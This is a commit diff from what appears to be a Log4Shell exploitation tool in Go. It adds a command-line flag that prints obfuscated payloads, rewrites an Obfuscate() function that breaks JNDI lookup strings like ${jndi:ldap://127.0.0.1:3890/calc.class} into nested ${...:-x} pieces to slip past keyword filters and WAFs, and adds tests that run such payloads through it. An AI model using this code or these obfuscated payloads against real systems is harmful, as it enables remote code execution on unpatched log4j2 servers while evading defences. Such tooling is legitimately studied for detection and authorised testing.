fix bug in Obfuscate(), update TestObfuscate, add obf flag to main.go

Author: For-ACGN

cmd/main.go

@@ -15,6 +15,7 @@ var (
 	cfg log4shell.Config
 	crt string
 	key string
+	obf string
 )
 
 func init() {
@@ -31,6 +32,7 @@ func init() {
 	flag.BoolVar(&cfg.EnableTLS, "tls-server", false, "enable ldaps and https server")
 	flag.StringVar(&crt, "tls-cert", "cert.pem", "tls certificate file path")
 	flag.StringVar(&key, "tls-key", "key.pem", "tls private key file path")
+	flag.StringVar(&obf, "obf", "", "obfuscate malicious(payload) string")
 	flag.Parse()
 }
 
@@ -49,6 +51,12 @@ func banner() {
 }
 
 func main() {
+	// output obfuscated string
+	if obf != "" {
+		fmt.Println(log4shell.Obfuscate(obf))
+		return
+	}
+
 	// load tls certificate
 	if cfg.EnableTLS {
 		cert, err := tls.LoadX509KeyPair(crt, key)

obfuscate.go

@@ -5,57 +5,64 @@ import (
 	"strings"
 )
 
-// TODO output generated string
-// var obf string
-//	flag.StringVar(&obf, "obf", "", "")
-//	flag.Parse()
-//
-//	if obf != "" {
-//		fmt.Println(log4shell.Obfuscate(obf))
-//		os.Exit(0)
-//	}
-
 // raw: ${jndi:ldap://127.0.0.1:3890/calc.class}
 //
 // obfuscate rule:
 // 1. ${xxx-xxx:any-code:-bc} => bc
 
+// skippedChars contain skip character, if Obfuscate
+// select section contains these characters, they will
+// not be obfuscated.
+var skippedChars = map[byte]struct{}{
+	'$': {},
+	'{': {},
+	'}': {},
+}
+
 // Obfuscate is used to obfuscate malicious(payload) string like
 // ${jndi:ldap://127.0.0.1:3890/calc.class} for log4j2 package.
 func Obfuscate(raw string) string {
 	l := len(raw)
-	if l < 3 {
+	if l == 0 {
 		return ""
 	}
 	obfuscated := strings.Builder{}
-	obfuscated.WriteString("${")
 
-	remaining := len(raw) - len("${}")
-	idx := 2
+	remaining := l
+	index := 0
+
 	// prevent not obfuscate twice, otherwise maybe
 	// generate string like 1."jn" 2."di" -> "jndi"
 	lastObfuscated := true
 
 	for {
 		// first select section length
-
 		// use 0-3 is used to prevent include special
 		// string like "jndi", "ldap" and "http"
-		sl := rand.Intn(4)
-		if sl > remaining {
-			sl = remaining
+		size := rand.Intn(4)
+		if size > remaining {
+			size = remaining
+		}
+		section := raw[index : index+size]
+
+		// contain special character
+		var skip bool
+		for i := 0; i < len(section); i++ {
+			_, ok := skippedChars[section[i]]
+			if ok {
+				skip = true
+			}
 		}
-		section := raw[idx : idx+sl]
 
-		if !randBool() && lastObfuscated {
+		if skip || (!randBool() && lastObfuscated) {
 			// not obfuscate
 			obfuscated.WriteString(section)
 
-			remaining -= sl
+			remaining -= size
 			if remaining <= 0 {
 				break
 			}
-			idx += sl
+			index += size
 			lastObfuscated = false
 			continue
 		}
@@ -79,14 +86,13 @@ func Obfuscate(raw string) string {
 		obfuscated.WriteString(section)
 		obfuscated.WriteString("}")
 
-		remaining -= sl
+		remaining -= size
 		if remaining <= 0 {
 			break
 		}
-		idx += sl
+		index += size
 		lastObfuscated = true
 	}
 
-	obfuscated.WriteString("}")
 	return obfuscated.String()
 }

obfuscate_test.go

@@ -3,9 +3,34 @@ package log4shell
 import (
 	"fmt"
 	"testing"
+
+	"github.com/stretchr/testify/require"
 )
 
 func TestObfuscate(t *testing.T) {
-	obfuscated := Obfuscate("${jndi:ldap://127.0.0.1:3890/calc.class}")
-	fmt.Println(obfuscated)
+	t.Run("common", func(t *testing.T) {
+		for _, testdata := range [...]string{
+			"${jndi:ldap://127.0.0.1:3890/calc.class}",
+			"${jndi:ldap://127.0.0.1:3890/notepad.class}",
+			"test",
+		} {
+			obfuscated := Obfuscate(testdata)
+			fmt.Println(testdata)
+			fmt.Println(obfuscated)
+			fmt.Println()
+		}
+	})
+
+	t.Run("empty raw string", func(t *testing.T) {
+		obfuscated := Obfuscate("")
+		require.Zero(t, obfuscated)
+	})
+
+	t.Run("fuzz", func(t *testing.T) {
+		for i := 0; i < 100000; i++ {
+			raw := "${" + randString(64) + "}"
+			obfuscated := Obfuscate(raw)
+			require.NotZero(t, obfuscated)
+		}
+	})
 }